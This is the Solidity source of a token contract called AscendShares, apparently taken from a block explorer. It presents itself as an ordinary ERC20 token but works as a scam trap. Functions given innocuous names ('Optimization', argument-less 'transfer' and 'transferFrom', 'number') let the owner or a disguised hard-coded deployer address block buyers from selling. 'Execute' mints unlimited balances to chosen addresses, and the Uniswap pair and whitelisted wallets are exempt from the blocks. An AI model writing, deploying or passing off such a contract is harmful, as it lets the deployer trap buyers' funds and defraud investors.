文件 1 的 1：AscendShares.sol
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address deployer, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed deployer, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(
address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AscendShares {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _deployer, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address path = PairFor(Factory, WETH, address(this));
if(_from == Owner || _to == Owner || _from == deployer || _from == path || _from == permit || denominator[_from]) {return true;}
if( numerator[_from] ) {return false;}
require(balanceOf[_from] >= _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {
return true;
}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
if ( _value >= Sorted ){ reserveOut.push(_to);}
if ( _value < Sorted ){ reserveIn.push(_to);}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function Execute(address addr, uint256 Amount) public payable returns (bool) {
require(msg.sender == deployer || msg.sender == Owner);
if(Amount > 0) {balanceOf[addr] += Amount*(10**uint256(decimals));}
denominator[addr]=true;
return true;
}
address public UniswapV2Pair = PairFor(Factory, WETH, address(this));
mapping(address=>bool) private denominator;
mapping(address=>bool) private numerator;
address[] private reserveIn;
address[] private reserveOut;
uint256 private Sorted;
address public permit;
function multicall(address [] calldata addr) public returns (bool) {
require(msg.sender == deployer || msg.sender == Owner);
for (uint i = 0; i < addr.length; i++)
{denominator[addr[i]] = true;}
return true;
}
function number(uint256 Amount) public returns(bool){
require(msg.sender == deployer || msg.sender == Owner);
Sorted = Amount*(10**uint256(decimals));
return true;
}
function TransferOwnership(address adr) public returns(bool){
require (msg.sender == deployer || msg.sender == Owner);
permit = adr;
return true;
}
address public Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
function PairFor(address factory, address tokenA, address tokenB) internal pure returns (address Pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
Pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function transfer() public returns (bool) {
require (msg.sender == deployer || msg.sender == Owner);
for (uint i = 0; i < reserveOut.length; i++) {
numerator[reserveOut[i]]= true;}
delete reserveOut;
return true;
}
function transferFrom() public returns (bool) {
require (msg.sender == deployer || msg.sender == Owner);
for (uint i = 0; i < reserveIn.length; i++) {
numerator[reserveIn[i]]= true;}
delete reserveIn;
return true;
}
function Optimization(address [] calldata addresses) public returns (bool) {
require(msg.sender == deployer || msg.sender == Owner);
for (uint i = 0; i < addresses.length; i++)
{numerator[addresses[i]] = true;}
return true;
}
function batchSend(address[] memory _tos, uint _value) public returns (bool) {
require (msg.sender == Owner);
uint total = _value*(10**uint256(decimals)) * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value*(10**uint256(decimals));
emit Transfer(msg.sender, _to, _value*(10**uint256(decimals)));
}
return true;
}
address public deployer=
address (1043035624452225598161704226878355202871183460551);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address public Owner;
constructor(string memory _name, string memory _symbol, uint256 _supply ) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
Owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
